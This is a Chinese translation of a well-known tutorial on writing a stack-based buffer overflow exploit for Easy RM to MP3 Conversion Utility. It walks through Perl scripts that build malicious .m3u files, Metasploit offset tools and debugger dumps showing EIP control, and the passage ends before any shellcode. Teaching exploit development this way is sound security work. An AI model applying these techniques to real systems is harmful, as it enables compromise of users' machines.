Url: https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/

Author: Corelan Team (corelanc0d3r)

Translator: B1ngDa0(captainguy#forxmail.com)


  大家好,我是B1ngDa0,这次为大家带来Exploit编写的教程,没错,我来开坑了,还是俩坑。我也是边翻译边跟着学习,内容篇幅较长,难免出现纰漏。如有任何不对的地方请指出。也欢迎私信、邮件交流学习。本教程虽是比较久远的,但还是有很多值得学习的地方,如若想更方便的跟着练习可以观看我的小教程《跟着靶机Writeup学BOF》,通过HackTheBox的靶机实战学习BOF(如果你还未在本文没看到相关链接,说明这只是一个预告,慢慢填坑中/(ㄒoㄒ)/~~)。


正文

  上周五的时候(2009年7月17日),叫“Crazy_Hacker”(昵称)的一个人在 packetstormsecurity.org 上提交了一个Easy RM to MP3 Conversion Utility(Windows XP SP2 英文版)的漏洞。(https://packetstormsecurity.com/0907-exploits/)。这份漏洞报告包含一个 POC(顺带一提,在我的 XP SP3 英文版中不起作用)。另一个漏洞的发布也随即而来。

  很棒。现在你可以复制 POC 利用代码,运行它,发现它不起作用(或者如果你很幸运,可以认为它有效),或者…你可以尝试理解构建 Exploit 的过程,以便修正失败的 Exploit,或者从头开始构建你自己的Exploit。

  (顺便一提:除非你能够反编译,快速阅读并且理解 shellcode,我永远不建议你只是获取(特别是它只是一个预编译的可执行文件)然后执行 Exploit),要是它只是在你的电脑中创建一个后门呢?

  问题是:Exploit 作者怎样构建他们的 exploits?从发现一个可能的问题到构建一个实际可用的 exploit 的过程是怎样的?如何使用漏洞信息来构建自己的 exploit?

  自从我开始写这个博客,写一个关于编写缓冲溢出的基础教程一直在我的“待做“列表中…但是我从未真正花时间去那样做(或者只是简单的忘了)。

  当我今天看到这个漏洞,并且仔细的看了看,我认为这个漏洞报告能够成为编写 exploits 的一个完美例子…它是清楚的、简单的并且能让我演示一些用于编写有效并稳定的基于栈溢出的技巧。

  所以这可能是一个好的时机… 尽管考虑到上述的漏洞报告已经包含一个 exploit(有效与否),我将仍然使用“Easy RM to MP3 conversion utility”的漏洞举例并且我们将完成编写一个有效的 exploit 的所有步骤,不从原始 exploit 复制任何内容。我们将从头开始构建(并且这次让它在 XP SP3 中生效)。

  在我们继续之前,让我有话直说。这份文档纯粹是为了教学。我不想任何人使用这些信息(或者任何这个博客中的信息)去实际入侵电脑或其他违法的事情。因此,我不能对获取这份文档并将其用于违法上的人的行为负责。如果你不同意,那么你就不能继续的访问这个网站…所以马上离开这个网站。

  不管怎样,有说过,你从漏洞报告中获取的信息通常包含这个漏洞的基本信息。在这样的情况下,漏洞报告指出“Easy RM to MP3 converter 2.7.3.700版本通用缓冲溢出通过创建了一个恶意的 .m3u 文件利用”。换句话说,你可以创建一个恶意的 .m3u 文件,将其输入 utility 并触发漏洞。报告可能不会每次都很具体,但是大多数情况下你会知道怎么模拟崩溃或者让应用程序的行为变得怪异。若非如此的话,那么安全研究员可能首先要向供应商披露他/她的发现,给供应商机会来解决问题… 或者只是向为他/她自己保留情报。

“在开始一系列关于 exploit 编写教程(但愿如此)的第一部分之前,允许我提及我建立的可以讨论 exploit 编写的议题/提问/建议/技巧等等的论坛(会员可见)。你可以通过 https://www.corelan.be//index.php/forum/writing-exploits/访问论坛。(论坛已被关闭)


验证 bug

  首先,让我们确认这个程序在打开一个 的 .m3u 文件时的确会崩溃。(或者你自己找一个当你输入精心设计过的数据会使它崩溃的程序)

  找到一个 Easy RM to MP3 的有漏洞版本的拷贝,然后安装到 Windows XP 的电脑上。这个漏洞报告显示这个 exploit 在 XP SP2(英文)有效,但是我将使用 XP SP3(英文)。

  有漏洞的程序的本地拷贝可在此下载:

  https://download.csdn.net/download/goudaner01/8495675

  快速旁注:你可以发现在 oldapps.com 和 oldversion.com 发现老程序的版本,或者在 exploit-db.com 寻找 exploits。(经常有一个有漏洞的程序的本地拷贝)

  我们将使用下面简单的 perl 脚本来创建一个可能帮助我们发现更多关于漏洞的信息的 .m3u文件。

1
2
3
4
5
6
my $file= "crash.m3u";
my $junk= "\x41" x 10000;
open($FILE,">$file");
print $FILE "$junk";
close($FILE);
print "m3u File Created successfully\n";

  运行这个脚本来创建 .m3u文件。这个文件将会被 10000个A填满(\x41 是A的十六进制格式)然后使用 Easy RM to MP3 打开这个 .m3u文件。应用抛出一个错误,但是看起来错误得到了正确的处理,程序没有崩溃。修改脚本来创建一个包含 20000个A的程序然后再次尝试。一样的结果(正确处理异常,所有我们仍然不能覆盖任何有用的东西)。现在改变脚本来写入 3000个A 然后使用 utility 打开它。

  成功 - 程序崩溃。

  好的,如果我们输入一个包含 20000 到 30000 个 A 的文件,应用程序就会崩溃,但是我们该怎么做呢?


验证 Bug - 看它是否会变得有趣

  显然地,不是程序的每个崩溃都会导致 exploit。在多数情况,程序崩溃不会导致 exploit,但是有时候会。使用“exploit”,我的意思是你想让程序做一些它不打算做的事情,比如运行你自己的代码。使程序做一些不同的事情的最简单方法是控制程序流(然后把它重定向到其他地方)。可以通过控制 Instruction Pointer(或者 Program Counter) 来完成,它是一个包含位于需要执行的下一条指令的指针的 CPU 寄存器。

  假设程序调用带有参数的函数。在进入该函数之前,它将在指令指针中保存当前位置(因此,当函数完成时,它知道返回到哪里)。如果你可以这个指针的值,然后将它指向在内存中包含一段你自己的代码的位置,然后你可以改变程序流然后使它执行一些不一样的事(除了回到初始的位置)。在控制程序流之后的你想执行的代码通常被称为“shellcode”。所以如果我们让程序运行我们的 shellcode,我们可以叫它一个有效的 exploit。在大多数情况,这个指针由术语 EIP 引用。这个寄存器的大小是 4字节。所以如果你能够修改这4个字节,那么你就拥有了这个程序(以及运行这个程序的电脑)。


在我们继续之前 - 一些理论

  你只需要知道几个术语:

  每个 Windows 应用程序都使用部分内存。进程内存包含 3个主要组件:

  • 代码段(处理器执行指令。EIP 跟踪下一条指令

  • 数据段(变量,动态缓冲区)

  • 栈段(常用于传递数据/参数至函数,也被用于变量的空间),栈从记录的虚拟内存的末端开始(栈底部)向下增长(到较低的地址)。PUSH 向栈顶端添加了一些东西,POP 将从栈中删除一个条目(4字节)并将其放入寄存器中。

    如果你向直接访问栈内存,你可以使用 ESP(栈指针),它可以指出栈的顶端(也有最低的地址)。

  • 在一次 PUSH 之后,ESP 将指出一个更低的内存地址(地址会随着推送到栈上的数据的大小而递减,对于地址/指针,它是四个字节)。递减通常发生在项目被放置到栈之前(取决于执行,如果 ESP 已经指向栈中的下一个空闲位置,递减将会在数据被放在栈后发生)。

  • 在一次 POP 后,ESP 指向一个更高的地址(地址是递增的(地址/指针按 4字节计算))。递减将会在数据被从栈中移除后发生。

  当进入一个函数/子程序后,一个栈帧被创建。这个帧将父程序的参数存放在一起,并被用来将参数传递给子程序。栈的当前位置可以通过栈指针(ESP)访问,函数当前的基址被包含于基址指针(EBP)(帧指针)。

  CPU 通用内存寄存器(Inter,x86)为;

  • EAX:累加器:用于演示计算。用于存储函数调用的返回值。如加法、减法的基本的操作一般使用这个通用寄存器
  • EBX:基址(没有任何内容在基址指针上)。它没有一般用途,可以存储数据。
  • ECX:计数器:用于迭代。ECX 向下数
  • EDX:数据:这是 EAX 寄存器的一个拓展。它允许额外的数据被存储帮助作一些更复杂的计算(乘法)
  • ESP:栈指针
  • EBP:基址指针
  • ESI:资源索引:保存输入数据的位置
  • EDI:目的变址寄存器:存储数据操作结果的位置
  • EIP:指令指针

内存进程

  当一个程序在 Win32 环境中启动时,一个进程被创建并被分配虚拟内存。在 32位进程中,地址的范围是从 0x00000000 到 0xFFFFFFFF,0x0000000 到 0x7FFFFFFF 被分配给“用户空间”,0x80000000 到 0xFFFFFFFF 被分配给“内核空间”。Windows使用平面存储模式,这意味着 CPU 可以 直接地/循序地/线性地寻址所有可用的内存地址,而不需要使用分段/分页方案。

  内核空间只允许操作系统访问。

  当一个进程被创建,PEB(Process Execution Block 流程执行块)和 TEB(Thread Environment Block 线程环境块)被创建。

  PEB 包含所有用户空间的与当前进程有关联的进程:

  • 主要的执行文件的位置
  • 指向加载程序数据的指针(可用于列出/可加载到进程中的所有的 dll 模块)
  • 指向有关堆的信息的指针

  TEB 描述并包括线程的状态

  • PEB 在内存中的位置
  • 栈所属线程的位置
  • 指向 SEH 链中的第一个进入的条目的指针(有关 SEH 链的更多信息请参阅教程3和3b)

  进程中的每个线程都一个 TEB。

  Win32 的进程内存映射是这样的:

image

image

  程序的 image / dll 的文本段是只读的,因为它只包含程序的代码。这可以防止人们修改程序代码。内存段具有固定大小。数据段用于存储全局和静态程序变量,并且用于初始化全局变量、字符串、和其他常量。

  数据段是可写的并且具有固定的大小。堆段用于其他的程序变量,它可以根据需要变大或变小。堆中的所有内存都由 allocator(分配器)(和 释放函数)的算法挂你。这些算法保留了一个内存区域。堆将朝着更高的地址增长。

  在 dll 中,代码,导入(dll 使用的函数列表,来自另一个 dll 或程序),和导出(使用其他 dll 的程序的可用函数)是 .text 的一部分。


  是内存进程的一部分,是一种按照后进先出工作的数据结构。操作系统为每个线程(在创建线程时)分配栈。当线程结束,栈也随之被清除。栈的大小在它被创建时确定并不再改变。结合后进先出和栈不需要复杂的管理结构/机制来管理来看,栈是特别快的,但是大小受限。

  后进先出意味着最近放置的数据( PUSH 指令的结果)是将第一个将被从栈中删除的数据(通过 POP 指令)。

  当栈被创建,栈指针指向栈的顶部(=栈上的最高地址)。随着信息被推到栈中,栈指针递减(去一个较低的地址)。 所以本质上,栈向更低的地址增长。

  栈包含本地变量、函数调用和其他一些不需要长时间存储的数据。随着栈中增加更多的数据(推送到栈中),栈指针开始递减并且栈向更低的地址增长。

  每次函数被调用的时候,函数参数以及寄存器(EBP、EIP)的保存值将被推入栈中。当函数返回时,从栈中检索保存的EIP值并将其放回EIP中,这样就可以恢复正常的程序流。

  让我们使用下面几段简单的代码来演示这个行为:

1
2
3
4
5
6
7
8
9
10
11
12
#include  

void do_something(char *Buffer)
{
char MyVar[128];
strcpy(MyVar,Buffer);
}

int main (int argc, char **argv)
{
do_something(argv[1]);
}

  (你可以编译这段代码。复制一份 Dev-C++ 4.9.9.2,创建一个 Win32控制台项目(使用 C语言,不是 C++),复制这段代码并且编译)。在我的系统上,我命名这个项目为“stacktest”。运行这个程序:“stacktest.exe AAAA”。应该不会返回结果。

  这个程序接收一个参数( arg[1] )并且将这个参数传递给函数 do_something()。在这个函数中,参数被复制进一个最大值为 128字节的本地变量。所以如果参数大于 127字节(+ 一个终止字符串的空字节),缓冲区可能会溢出。

  当函数“do_something(parame1)”被从 main()内部调用时,会发生以下事情:

  一个新的栈帧在`父`栈的顶部被创建,栈指针(ESP)指向新创建的栈的最高地址。这是栈的顶部

image

  在 do_something() 被调用之前,一个指向参数的指针被推至栈。在我们的案例中,这是一个指向 argv[1] 的指针。

image

  执行 MOV指令之后的栈:

image

  接下来,调用函数do_something。CALL 指令首先将当前指针放到栈中(这样,如果函数结束,它就知道返回到哪里),然后跳转到函数上。

  执行 CALL 指令后的栈:

image

image

  由于 PUSH,ESP 减少了4字节并且现在指向更低的地址。

image

image

  (或者,在调试器中也可以看到):

  ESP 指向 0022FF5C。在这个地址中,我们可以看到存储的 EIP(Return to……),接下来是一个指向参数的指针(在这个例子中是 AAAA)。指针在指向 CALL 指令前被存储在栈中。

image

  接下来,执行 prolog 函数。这基本上将帧指针(EBP)保存到栈中,因此当函数返回时也可以恢复它。保存帧指针的指令是“push ebp”。ESP再次减少4个字节。

image

image

  在 push ebp 之后,将当前栈指针(ESP)放入 ebp中。此时,ESP 和 EBP 都位于当前栈的顶部。这样程序可以使用 EBP 的偏移量应用变量

大多数函数都是以这个顺序开始:PUSH EBP,然后是 MOV EBP,ESP

  因此,如果将 4个字节推入栈,ESP 将减少4个字节,EBP仍将保持原样。然后可以使用 EBP-0x4这 4个字节。

  接下来,我们可以看到变量 MyVar(128字节)的栈空间是如何声明/分配的。为了保存数据,栈上分配了一些空间来保存这个变量中的数据,这个字节数很可能超过128个字节,因为编译器决定了一个分配例程。对于 Dev-C++。这是 0x98字节。所以你将看到一个 SUB ESP 0x98指令。这样,这个变量就有空间了。

image

  分解的函数是这样的:

1
2
3
4
5
6
7
8
9
10
00401290  /$ 55             PUSH EBP
00401291 |. 89E5 MOV EBP,ESP
00401293 |. 81EC 98000000 SUB ESP,98
00401299 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; |
0040129C |. 894424 04 MOV DWORD PTR SS:[ESP+4],EAX ; |
004012A0 |. 8D85 78FFFFFF LEA EAX,DWORD PTR SS:[EBP-88] ; |
004012A6 |. 890424 MOV DWORD PTR SS:[ESP],EAX ; |
004012A9 |. E8 72050000 CALL ; \strcpy
004012AE |. C9 LEAVE
004012AF \. C3 RETN

  (不要担心这些代码。你可以清楚的看到函数 prolog(EBP 和MOV EBP,ESP),你也可以看到分配空间给 MyVar(SUB ESP,98),并且你可以看到一些 MOV 和 LEA 指令(基本上设置了 strcpy 函数的参数,使用 位于argv[1] 的指针复制数据到 MyVar中)。

  如果这个函数中没有 strcpy(),那么这个函数将结束并“展开”栈。基本上,它只是将 ESP 移回到保存 EIP 的位置,然后发出 RET 指令。在本例中, ret 将从栈中获取保存的 EIP 指针并跳转到它(因此,它将在do_something()被调用之后返回主函数)。 epilog 指令由一条 LEAVE 指令执行(它将同时恢复 帧指针 和 EIP )。

  在我的例子中,我们有 strcpy() 函数。

  这个函数将从 [buffer] 指向的地址读取数据,并将数据存储在其中,读取所有数据知道看到一个空字节(字符串终止符)。当它复制数据时,ESP 会保持原样。strcpy() 不通过使用 PUSH 指令将数据放到栈上,它基本上读取一个字节然后使用索引(例如ESP,ESP+1,ESP+2等等)将其写入栈中。复制之后,ESP仍然指向字符串的开头。

image

  这意味着如果 [Buffer] 中的数据比 0x98 字节长一些,strcpy()将覆盖保存 EBP 并最终保存 EIP(以此类推)。毕竟它只是继续读和写,直到到达源位置中的空字节(字符串的情况)。

image

  ESP 仍然指向字符串的开头。strcpy()完成时就好像没有任何问题一样。在 strcpy()之后,函数结束。这就是有趣的地方。函数 epilog 开始工作。基本上,它将把 ESP 移回到保存 EIP 的位置,并发出 RET 指令,它将接收指针(在我们的例子中是 AAAA 或 0x41414141,因为它被覆盖了),并跳转到那个地址。

  所以你控制了 EIP。

  长话短说,通过控制 EIP,你基本上可以更改函数将使用的返回地址,以便“恢复正常流”。

  当然,如果你通过发出缓冲区溢出来更改这个返回地址,它就不再是“正常流”了。

  假设你可以在 MyVar、EBP、EIP中覆盖缓冲区,并且在保存的 EIP 的前后有 A(你自己的代码)。在发送缓冲区([MyVar][EBP][EIP][你自己的代码])之后,ESP 将/应该指向[你的代码]的开头,所以如果你能让 EIP 进入你的代码,那么你就可以控制了。

提示:当栈上的缓冲区溢出时,使用术语“基于栈的溢出”或“栈缓冲区溢出”。当你试图写入超过栈帧末尾的内容时,使用术语“栈溢出”。不要把这两者混淆起来,因为它们是完全不同的。


调试器

  为了查看栈的状态(以及寄存器的值如指令指针、栈指针等),我们需要将调试器连接到程序,这样我们就可以看到在程序运行时发生了什么(特别是程序死亡时)。

  有许多调试器可以用于此目的。我最常用的两个调试器是 Windbg 和 Immunity’s Debugger

  让我们使用 Windbg。安装 Windbg(完整安装)并且使用“windbg -I”将其注册为“post-mortem”。

image

image

  你可以通过禁止下方的注册表来关闭弹出框“xxx 遇到了一个问题并且需要关闭”:

  HKLM\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\Auto : 设置为0

image

image

  为了避免 Windbg 提示找不到 sybmol文件,在硬盘上创建一个文件夹(比如c:\windbgsymbols)。然后在 Windbg 中,进入 “File”-“Sybmol File Paht”,输入以下字符串:

SRVC:\windbgsymbolshttp://msdl.microsoft.com/download/symbols

  (不要在字符串后面输入一个空行,确保这串字符串是 sybmol 路径区域唯一的字符串)

 如果你想使用 Immunity Debugger:在这里下载并且安装。打开 Immunity Debugger,进入“Options”-“Just in-time debugging” 然后点击“Make Immunity Debugger just in-time debugger”。

  好了让我们开始。

  启动 Easy RM to MP3,然后再次打开 crash.m3u 文件。程序将会再次崩溃。如果你禁止了弹出窗口,Windbg 或 Immunity Debugger将会自动启动。如果你看到一个弹窗窗口,点击“debug”按钮然后 debugger 将会自动启动:

Windbg:

image

image

Immunity:

image

image

  这个界面显示了相同的信息,但是是一个更图形化的方式。左上角是 CPU 视图,它显示了指令的集合以及其操作码。(该窗口是空的,因为当前 EIP 指向 41414141,这不是一个有效的地址)。在右上角的窗口中,你可以看到寄存器。在左下角,你可以看到本例中的内容转储为00446000。在右下角,你可以看到栈的内容(即 ESP 指向的位置的内存内容)。

  不管怎样,看起来我们的 m3u文件的一部分被读入了缓冲区,导致缓冲区溢出。我们已经能够溢出缓冲区并跨指令指针写入。所以我们可以控制 EIP 的值。

  由于我们的文件只包含 A,我们不知道我们的缓冲区需要多大才能准确地写入 EIP。换句话说,如果我们想要覆盖 EIP(因此我们可以给它提供可用的数据并使它跳到我们的恶意代码,我们需要知道我们的缓冲区/Payload 中的准确位置),我们覆盖返回地址(当函数返回时,它将成为 EIP)。这个位置经常被称为“偏移(offset)”。


确定缓冲区大小,准确写入 EIP

  我们知道 EIP 位于缓冲区开始初的20000到30000字节之间。现在你可以使用想要覆盖 EIP 的地址覆盖 20000到 30000 之间的所有内存空间。这可能行得通,但是如果你能够找到执行覆盖的确切位置,那么看起来会好得多。 为了确定缓冲区中 EIP 的确切偏移量,我们需要做一些额外的工作。

  首先,让我们尝试通过修改 perl 脚本来缩小位置:

  让我们对分法。我们将创建一个包含 25000个 A 和 5000个 B 的文件。如果 EIP 包含 41414141(AAAA),则 EIP 位于 20000到 25000之间,如果 EIP 包含 42424242(BBBB),则 EIP 位于 25000到 30000 之间。

1
2
3
4
5
6
7
my $file= "crash25000.m3u";
my $junk = "\x41" x 25000;
my $junk2 = "\x42" x 5000;
open($FILE,">$file");
print $FILE $junk.$junk2;
close($FILE);
print "m3u File Created successfully\n";

  创建这个文件并且在 Easy RM to MP3 中打开 crash25000.m3u

image

image

  好了, EIP 包含 42424242(BBBB),所以我们知道 EIP 的偏移量在 25000 到 30000 之间。这也意味着我们应该/可能在内存中看到位于 ESP 的剩余的 B(假定 EIP 在 30000字符缓冲区结束之前被覆盖)。

1
2
3
4
Buffer :
[ 5000 B's ]
[AAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB][BBBB][BBBBBBBBB......]
25000 A's EIP ESP points here

dump ESP 的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0:000> d esp
000ff730 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff740 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff750 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff760 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff770 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff780 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff790 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7a0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0:000> d
000ff7b0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7c0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7d0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7e0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7f0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff800 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff810 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff820 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0:000> d
000ff830 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff840 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff850 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff860 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff870 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff880 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff890 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff8a0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB

  这是一个好消息,我们已经用 BBBB 覆盖了 EIP,我们还可以在 ESP 中看到我们的缓存区。

  在开始调整脚本之前,我们需要找到覆盖 EIP 的缓冲区中的确切位置。

  为了找到确切的位置,我们将使用 Metasploit。

  Metasploit 有一个很好的工具帮助我们计算偏移。它将生产一个包含唯一格式的字符串。使用这个格式(以及在恶意的 .m3u文件中使用该格式后 EIP 的值),我们可以看到准确写入 EIP 的缓冲区有多大。

  打开 Metasploit framework3 文件夹中的 tools 文件夹(我使用的是 metasploit 3 的 linux 版本),应该会找到一个名为 pattern_create.rb 的工具。创建一个的 5000个的格式字符并将其写入文件。

1
2
3
root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb
Usage: pattern_create.rb length [set a] [set b] [set c]
root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb 5000

  编辑 perl 脚本 并且使用我们的 5000个字符替换 $junk2 的内容。

1
2
3
4
5
6
7
my $file= "crash25000.m3u";
my $junk = "\x41" x 25000;
my $junk2 = “put the 5000 characters here”
open($FILE,">$file");
print $FILE $junk.$junk2;
close($FILE);
print "m3u File Created successfully\n";

  创建 m3u文件。在 Easy RM to MP3中打开此文件,等待程序再次死亡,并注意 EIP 的内容。

image

image

  此时,EIP 包含 0x356b4234(注意:从小到大:我们使用 34 42 6b 35 = 4Bk5 覆盖了 EIP)

  现在让我们使用第二个 Metasploit 工具,再计算在写入 EIp之前缓冲区确切的长度,输入 EIP 的值(基于格式文件)和缓冲区的长度:

1
2
3
root@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 0x356b4234 5000
1094
root@bt:/pentest/exploits/framework3/tools#

  1094。这就是覆盖 EIP 所需的缓冲区长度。因此,如果你创建一个文件,其中包含 25000+1094个A,然后添加 4个B(十六进制为 42 42 42 42),EIP 应该包含 42 42 42 42。我们需要知道 ESP 指向缓冲区中的数据,所以我们将在覆盖 EIP 之后添加一些 C。

让我们试一试。修改 perl 脚本以创建新的 m3u文件。

1
2
3
4
5
6
7
8
my $file= "eipcrash.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";
my $espdata = "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";

创建 eipcrash.m3u,使用 Easy RM to MP3 打开它,观察崩溃之后 EIP 和 在 ESP 内存的内容:

image

image

1
2
3
4
5
6
7
8
9
0:000> d esp
000ff730 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff740 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff750 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff760 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff770 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff780 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff790 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff7a0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC

在 Immunity Debugger 中,你可以通过查看右下角的窗口,查看 ESP 在栈中的内容。

太好了,EIP 包含 BBBB,这正是我们想要的。现在我们控制了 EIP,除此之外,ESP 指向我们的缓冲区(C)。

注意:这里显示的偏移量是在我自己的系统上分析的结果。如果你试图在自己的系统上重现本教程中的练习,则很有可能得到不同的偏移地址。因此,请不要只获取偏移量值或将源代码复制到系统中,因为偏移量是基于存储 m3u文件的路径。易溢出的缓冲区包含了 m3u文件的完整路径,所以如果你的系统上的路径比我的短或长,那么偏移量就会不同。

我们的缓冲区 exploit 目前看起来是这样的:

Buffer EBP EIP ESP points here|V
A (x 26090) AAAA BBBB CCCCCCCCCCCCCCCCCCCCCCCC
414141414141…41 41414141 42424242
26090 bytes 4 bytes 4 bytes 1000 bytes ?

找到内存空间来托管 shellcode

  我们控制了 EIP,所以我们可以让 EIP 指向其他地方,比如存放我们自己的代码(shellcode)的地方。但是那个地方是哪里,我们怎样才能将 shellcode 放到那个位置并且我们怎样让 EIP 跳转到那个位置?

  为了让这个程序崩溃,我们已经写入了 26094个 A 到内存,并且写入了新的值到 EIP 区域内(ret),并且写入了一串 C。

  当程序崩溃,看一下寄存器并且将它们全部导出(d esp,d eax,d ebx,d ebp,等等)。如果你看到你的 buffer(那些 A 或者 那些 C)在某个寄存器,然后可能你可以将他们替换为 shellcode 并且跳转到那个位置。在我们的例子中,我们可以看到似乎 ESP 指向我们的那些 C(记住上面 esp 的输出),所以理想地我们可以用我们的 shellcode 去替换那些 C 并且我们告诉 EIP 跳转到 ESP 的地址。

  尽管我们的确可以看到那些 C,但是我们不确定第一个 C(ESP指向的 000ff730地址)是我们输入到 buffer 中的第一个 C。

  我们将改变 perl 脚本并且输入一段格式字符(我使用了144个字符,但是你可以多于或少于它)替换那些 C:

1
2
3
4
5
6
7
8
9
10
11
12
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK" .
"7ABCDEFGHIJK8ABCDEFGHIJK" .
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

创建这个文件,打开它,让程序崩溃并且导出 ESP 的所有内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0:000> d esp
000ff730 44 45 46 47 48 49 4a 4b-32 41 42 43 44 45 46 47 DEFGHIJK2ABCDEFG
000ff740 48 49 4a 4b 33 41 42 43-44 45 46 47 48 49 4a 4b HIJK3ABCDEFGHIJK
000ff750 34 41 42 43 44 45 46 47-48 49 4a 4b 35 41 42 43 4ABCDEFGHIJK5ABC
000ff760 44 45 46 47 48 49 4a 4b-36 41 42 43 44 45 46 47 DEFGHIJK6ABCDEFG
000ff770 48 49 4a 4b 37 41 42 43-44 45 46 47 48 49 4a 4b HIJK7ABCDEFGHIJK
000ff780 38 41 42 43 44 45 46 47-48 49 4a 4b 39 41 42 43 8ABCDEFGHIJK9ABC
000ff790 44 45 46 47 48 49 4a 4b-41 41 42 43 44 45 46 47 DEFGHIJKAABCDEFG
000ff7a0 48 49 4a 4b 42 41 42 43-44 45 46 47 48 49 4a 4b HIJKBABCDEFGHIJK
0:000> d
000ff7b0 43 41 42 43 44 45 46 47-48 49 4a 4b 00 41 41 41 CABCDEFGHIJK.AAA
000ff7c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff800 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff810 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff820 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

  好的,我们可以在这里看到两件有趣的事情:

  • ESP 开始于我们的第五个格式字符,并且不是第一个字符。你可以通过论坛帖子找到:/index.php/forum/writing-exploits/question-about-esp-in-tutorial-pt1
  • 在格式字符之后,我们看到了一些 A。那些 A 看起来属于 buffer(26101个A)的第一部分,所以我们应该也可以将我们的 shellcode 放至 buffer 的第一部分(在覆盖 RET 之前)

  但是我们先不那样做。我们首先将在 pattern 中添加 4个格式字符然后再做一次测试。如果一切正常,ESP 现在应该直接指向我们的格式的开头。

1
2
3
4
5
6
7
8
9
10
11
12
13
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";
my $preshellcode = "XXXX";
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK" .
"7ABCDEFGHIJK8ABCDEFGHIJK" .
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");
